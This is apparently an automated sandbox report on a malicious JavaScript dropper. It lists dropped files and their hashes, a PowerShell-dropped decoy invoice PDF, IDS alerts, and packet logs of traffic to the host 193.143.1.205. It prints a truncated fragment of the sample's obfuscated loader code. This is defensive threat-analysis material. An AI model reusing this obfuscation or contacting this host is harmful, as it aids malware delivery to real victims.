File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/9wYIGNPQmeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:lwZG2XWLxXGZN3mlind9i4ufFXpAXkru
MD5:	CDB0A9F62FD4871F0603FBBF1FE6BD06
SHA1:	C972A2B8E6E7CD72A156C1EAB8F5F31E76A7DA24
SHA-256:	85BD3F2168D078DFF0ECEB670C3DC651E8797522C6A2921EC478EAD5A09E415F
SHA-512:	7FC3B110A45F9D518FEA45930B73F196FEE7DF472A17FB2CBB19A3BCBF5C78D439F68E2C615D8DACD5821EF60C1447112FB86431D768E28D9F08457563011F28
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d79225b0-622c-43e4-b213-c09bb42f682f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\ead4378a-6162-4656-b20d-ebe3d70754a7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 634912
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07EGZ7wYIGNPJnWL07oW:Jb3mlind9i4ufFXpAXkrfUs0wGZ7wZGZ
MD5:	4084BADEE79ACF280BC009557339BDD5
SHA1:	80EA27208C4861E9E527B40CD2A692EEC443219B
SHA-256:	8007A2128B57989D55081FDC35F94355738459BC102CE0C046EBE47CB815D614
SHA-512:	8C4F69E357DD4B3C617E918CD77EF22D382525A3FB593082E5F58106BF5099C70E82B565ECF33746D1454E41F8368DE6A0F00FDE57A32A86A0C7424318FB8F5C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16459), with CRLF line terminators
Entropy (8bit):	4.897251560150276
TrID:
File name:	2553416555111621752.js
File size:	19'879 bytes
MD5:	e441744bf6d7026bd32139432989ff3a
SHA1:	a788c3b9369f4ec42b0c893985b69d414d4e12e8
SHA256:	4d078f2020735fe596bf309a54fcec828d66d30e339137591b0c738b91a03b59
SHA512:	966e774fb0ad1fc8f808923db390c7fb1c61511967bb628d01ecc3ea3a5b59a8d81d783f83bb8817e4c4026dbd6720d12205f6d02782af25fb2f06b2259ad04e
SSDEEP:	384:UZSoiUgLZc3aVdXoW4CxGC27rUQLGFlhfP9ng:CXcIQXoWbxGC2EQqThfFng
TLSH:	6A9253E82871C6EBD5CC97E425860CEEBCF116880998C59C791C70AC159CBBFF2D61B9
File Content Preview:	function eiuwqfae(){wtfoj=[1031,3079,5127,4103,2055,3072];var eolfxwzh=this[kaiziec+aptkn+pxpek+sbayv+ojsli+ohnvl+txhyqz+krcnfeqk](this[yfmzfbrw+sgdqzgoyy+dhzgpeu+pxpek+qxsti+kaiziec+krcnfeqk][nnvhov+pxpek+ojsli+aptkn+krcnfeqk+ojsli+epqatz+vbtvawram+sfycv

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:10:57.405058+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49721	193.143.1.205	80	TCP
2025-01-10T18:11:00.927921+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49742	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:10:56.602385998 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:56.607207060 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:56.607300043 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:56.610373974 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:56.615189075 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.404906988 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.404970884 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.404983997 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.405005932 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.405025005 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.405038118 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.405047894 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.405057907 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.405087948 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.405095100 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.405107021 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.405111074 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.405132055 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.405134916 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.405173063 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.409889936 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.409910917 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.410011053 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.447706938 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.447741032 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.447838068 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.528935909 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.528978109 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.528989077 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.529002905 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.529017925 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.529099941 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.529341936 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.529366016 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.529377937 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.529395103 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.529419899 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.529422998 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.529433966 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.529475927 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.530224085 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.530235052 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.530251980 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.530262947 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.530275106 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.530276060 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.530307055 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.531156063 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.531167030 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.531179905 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.531192064 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.531197071 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.531203985 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.531217098 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.531250000 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.531897068 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.581687927 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.581738949 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.581775904 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.581828117 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.581934929 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.619473934 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.619493961 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.619627953 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.652744055 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.652789116 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.652803898 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.652820110 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.652879000 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.652890921 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.652940035 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.652961969 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.652977943 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.653000116 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.653179884 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.653196096 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.653212070 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.653229952 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.653234005 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.653249025 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.653254032 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.653281927 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.653754950 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.653769970 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.653794050 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.653810024 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.653824091 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.653826952 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.653856039 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.654396057 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.654411077 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.654427052 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.654441118 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.654444933 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.654457092 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.654465914 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.654473066 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.654491901 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.654496908 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.654537916 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.655339003 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.655354977 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.655369997 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.655384064 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.655399084 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.655401945 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.655415058 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.655430079 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.655431986 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.655471087 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.656163931 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.656178951 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.656196117 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.656208038 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.656210899 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.656229019 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.656235933 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.656246901 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.656265020 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.656277895 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.656302929 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.656935930 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.657013893 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.657027960 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.657061100 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.672065973 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.672086954 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.672116995 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.672135115 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.672156096 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.672156096 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.672185898 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.672226906 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.695499897 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.695522070 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.695599079 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.743185043 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.743199110 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.743247032 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.743258953 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.743269920 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.743307114 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.743357897 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.776541948 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.776556015 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.776587963 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.776597977 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.776618958 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.776624918 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.776640892 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.776653051 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.776674032 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.776689053 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.776825905 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.776834011 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.776870012 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.776983976 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777070045 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777116060 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.777192116 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777204990 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777260065 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.777276039 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777288914 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777323008 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.777348995 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777359962 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777391911 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.777494907 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777508020 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777514935 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777525902 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777539968 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777549982 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777549982 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.777575970 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.777586937 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.777856112 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777930021 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777934074 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777936935 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777942896 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777954102 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777966976 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777977943 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.777983904 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.777990103 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.778014898 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.778027058 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.778578043 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.778590918 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.778604031 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.778620005 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.778652906 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.778661966 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.778675079 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.778687000 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.778698921 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.778717995 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.778727055 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.778729916 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.778736115 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.778747082 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.778757095 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.778768063 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.778779984 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.778806925 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.779464006 CET	80	49721	193.143.1.205	192.168.2.7
Jan 10, 2025 18:10:57.779509068 CET	49721	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:10:57.779521942 CET	80	49721	193.143.1.205	192.168.2.7
